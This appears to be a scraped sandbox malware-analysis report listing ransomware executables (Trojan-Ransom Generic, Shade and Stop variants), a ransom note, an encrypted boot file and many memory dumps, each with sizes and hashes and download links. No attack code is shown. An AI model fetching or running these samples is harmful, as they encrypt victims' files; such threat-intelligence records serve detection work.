                                                                                                                                                                                                                                              d77ea8ff9ae90946a321631407e1a85ac4f082e04fd5dc0890e657e37b29cf5c77a484ff3c0b94a77f36365338e9180e165b7687b9aa14b3a265778183edac2e

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-77a825de2426a199fffbd178d67e8282ff63a037c96cbd1c1ebe5913ec4d1a9e.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              999KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              f43ee46b6d2d5bf677a4d3cd550554ff

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              8fcab001feed935b4cfa34345cb93b9ef56300c7

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              77a825de2426a199fffbd178d67e8282ff63a037c96cbd1c1ebe5913ec4d1a9e

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              d9ff56cb515087c893cd40458529c35c5e2a911c6fdacad69bf79630773a674cc60a41d1c92884e44e7fdbad3a2fec2da623a4ed215024d2d115c495706fe1bb

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.1MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              b14bc6b94c1d7a9e7ca44e6f6663b0ab

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              5abf04488e54260fc818edd1d5dc14fc6be26e65

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              91a66df8eaf8bc989c0e1a296b4bc5c578ceb8bcaf3d256d609480535def3da9

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              4cfb8ca1dd4b7eb0852071751f0d6f65a42055e1183115f6e33e460ab9fe20cfd64e8d0de24c569f10930066d7c1bc22b5efa9d4b70d30b4d700c287d6fd64cb

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              273KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              445072c65c94e3343cb344822504ee10

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              c4c39e7c9f872752f60ba62364e5e832b526d5b1

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              ada8cc55f7ffb82ebc1e00dbd591f18e9f5d0e76dffa44dec99beaf152e058cc

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              4f87152229e7cfec95465318ccedbf2c444b0f3a8b05ca553ef475156d314594031a62e9ff9755e4b33190b6f388f5bb9ced79903174fc15228d714fc400e73a

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Shade.gen-d23c897e7bb23a6a525d1206dc792f0b81c34b4cce433614c08ce87aecd247fe.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              58997a369e34e552ff93b260c4719bf0

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              1f0b79055c952aaf60799baf5b614331416ccef3

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              d23c897e7bb23a6a525d1206dc792f0b81c34b4cce433614c08ce87aecd247fe

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              420e1d383e67d02109d5431777fbf7791922299036fbe7fbde31b017cd18ff2d2e49b01aa4044e712300a87eb52568df7d4725d0ce5a9cbf817a179d3b4f1b81

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-07985c9819097683b7f2bc59cc7d02e0497f012187e05b922404421cf6e55876.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              3.2MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              eb3ebb6a57814f00d526ae4880521318

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              3cd76c0e30e725d54f370245c08fa5fe3522889e

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              07985c9819097683b7f2bc59cc7d02e0497f012187e05b922404421cf6e55876

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              1b267e9098bcf3a713f68f2ca749e30e6a445458882ce6a48beab31756f5a205071fdf8c9a9f0f29d39c00733087f6321d1451d6baae739f052f960334cef439

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              695KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              874abbe1a001ee488ff3263ca461fcff

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              968ca26ec4a1a6c663fdb62b7ae33b2b95cff25d

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              7d6cf76c07b65850d9c11155ae8050bd10558fc326f0796693904b1736cf4faf

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              887536a23678bb2c8c375e59f113b6ffb03be6beaedb7d4c580aac02053af61f7b268a1be321d1109a89c5b6ffe57b3ed8e3fd88272e5c4686d56449963defe6

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Stop.gen-acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827.exe
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              755KB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              3357f196f3514de658267c95040fbcd8

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              ada467f49646d7cdc659f56b497b307214b588e9

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              acc3b48cd0873ffa9a1777f269ff514af019b538386306738e90fefaa18d3827

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              77d001eedac11d946b50011bd2573825b11c70cb96d1da339a36fc78d27f1cd89184df0656c1f454ef240a2a0099101abed3af50675d11b65e7379d7867b5da8

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00466\configuration.ini
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              280B

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              60c97cc9317628c15ec7f82d4bc71153

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              f6242d6be783acc90f5f2dadd96120ffaa2a0327

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              5b0b2fb54be7c619535cb3bd1bd9a187642067cfcc80d76ad461bdc1a05e00a0

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              2d3ab00e0b793d5ff917fe4f3948fe7348c1d1214d8920420ca1bdf365b5dc9bd72f638a8fa90abb3cda09b545c282a1b1248423ab836e7dd743e5af8f1fd3fb

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • C:\Windows\Logs\DISM\dism.log
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              2.1MB

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              b315b90b55ad1f2f8f4d1a6bb1c83cee

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              82027719fb4fae662a9bd1163bda15df1ce97923

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              0f2833d5e59df7d5b20181bd78b3f682b72913a5691fbdb17e102d625663e381

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              841e829a7b2958d54086a34aba5398d999c75998b6054c61b7a072ce01919a6040bbddf03611d9844dfbe9bbbd23564ee1f031727cb2f8331166d11b7d5c4d19

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • \Device\HarddiskVolume1\BOOTNXT[[email protected]].bej0
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              263B

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              ee3c84c38cb2d7188914b7a1cf835a50

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              2a2e6c4ff4f8c3c5e94cdebcf500218c92663820

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              d516a1d698f6d9fb2802e0671826181b77d27be361b3b608240d7b218ac0d90c

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              e1a5659ae8ef8999001019104d0589a0a4b402c1fa43a7f2fba8fc8bcc4b61f98b253ffde0374e6756d4eb9b68643e8078cdca637f61ea6553b5ef8858bd0c92

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • \Device\HarddiskVolume1\Read_Me!_.txt
                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              807B

                                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                                              9cfdb8ec4b26872be9f53e92e9db2326

                                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                                              f4af0134bdf45b007b3d5ac051d38e6240534448

                                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                                              e27cbf0db5054de2cda4e8cad82d1f8bf86e2a183db7c538a6906a974c6f2191

                                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                                              5a81d05f294973809ef1d07bc42227d06f1bbaa17543db3ea67c0f525388ddc5190e4e82dbe0631f08f2719c9c279b6678d567277cf8b7d2f60b2ea3b3f6703e

                                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                                            • memory/344-477-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/392-567-0x0000000000C60000-0x0000000000C61000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/828-239-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/828-387-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1016-483-0x0000000000D40000-0x0000000000E3E000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1016KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1040-464-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              48KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1124-385-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1124-480-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              36KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-235-0x0000000004950000-0x000000000495A000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              40KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-370-0x0000000005760000-0x00000000057AA000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              296KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-390-0x00000000073B0000-0x0000000007416000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              408KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-389-0x0000000006FA0000-0x00000000072F4000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              3.3MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-391-0x0000000007420000-0x0000000007442000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              136KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-393-0x0000000007540000-0x000000000758C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              304KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-367-0x0000000005540000-0x0000000005562000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              136KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-364-0x0000000004E70000-0x0000000004E8A000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              104KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-368-0x0000000005680000-0x00000000056E6000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              408KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-366-0x00000000055E0000-0x0000000005676000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              600KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-232-0x0000000004F10000-0x0000000005538000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              6.2MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-234-0x0000000004980000-0x00000000049B6000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              216KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-230-0x00000000000F0000-0x000000000014C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              368KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-238-0x00000000049C0000-0x00000000049D2000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              72KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-369-0x00000000056F0000-0x000000000570E000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              120KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1184-365-0x0000000005BC0000-0x000000000623A000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              6.5MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-569-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-561-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-566-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-565-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-568-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1408-1152-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-518-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-488-0x0000000004A70000-0x0000000004C2B000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-465-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-462-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-463-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1584-460-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/1964-560-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              48KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2116-662-0x0000024CF2B80000-0x0000024CF2BA4000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              144KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2116-661-0x0000024CF2B80000-0x0000024CF2BAA000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              168KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2356-508-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              48KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2932-533-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2932-546-0x0000000004A70000-0x0000000004C2B000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2932-535-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2932-532-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/2932-579-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3136-451-0x0000000000970000-0x0000000000990000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              128KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3176-219-0x000000001B980000-0x000000001BE4E000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4.8MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3176-226-0x000000001BEC0000-0x000000001BF22000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              392KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3176-224-0x000000001B3C0000-0x000000001B466000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              664KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3176-419-0x000000001C790000-0x000000001C82C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              624KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3272-506-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3272-513-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3272-501-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3272-507-0x0000000000400000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              732KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3376-2860-0x0000000000400000-0x000000000045B000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              364KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3576-435-0x0000000000400000-0x0000000000418000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              96KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3576-437-0x0000000000400000-0x0000000000418000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              96KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3576-436-0x0000000000400000-0x0000000000418000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              96KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3908-282-0x00000000054C0000-0x00000000054CA000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              40KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3908-227-0x0000000005400000-0x0000000005492000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              584KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3908-223-0x0000000000A10000-0x0000000000B64000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3912-711-0x000000001C280000-0x000000001C2E4000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              400KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3912-378-0x000000001E640000-0x000000001EB30000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4.9MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3912-2850-0x000000001C410000-0x000000001C42E000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              120KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3912-215-0x0000000000120000-0x0000000000632000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              5.1MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3916-173-0x0000017F6D7C0000-0x0000017F6D836000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              472KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3916-172-0x0000017F6D6F0000-0x0000017F6D734000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              272KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3916-162-0x0000017F6D230000-0x0000017F6D252000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              136KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3920-228-0x0000000005A80000-0x0000000005B1C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              624KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3920-225-0x0000000005F90000-0x0000000006534000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              5.6MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3920-428-0x0000000007000000-0x0000000007028000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              160KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3920-220-0x0000000000F00000-0x0000000000FDC000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              880KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/3964-500-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              48KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4056-534-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              48KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4296-2318-0x0000000000E30000-0x0000000000E94000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              400KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4296-2580-0x0000000005710000-0x000000000572E000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              120KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4296-2319-0x0000000005650000-0x00000000056C6000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              472KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4356-3076-0x0000000000D60000-0x0000000000D8C000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              176KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4356-3077-0x0000000002CE0000-0x0000000002D00000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              128KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4868-384-0x0000000000400000-0x00000000005BB000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/4868-479-0x0000000000400000-0x00000000005BB000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              1.7MB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-185-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-179-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-190-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-189-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-188-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-187-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-184-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-180-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-178-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                            • memory/5080-186-0x000001A0A7240000-0x000001A0A7241000-memory.dmp

                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                              Download

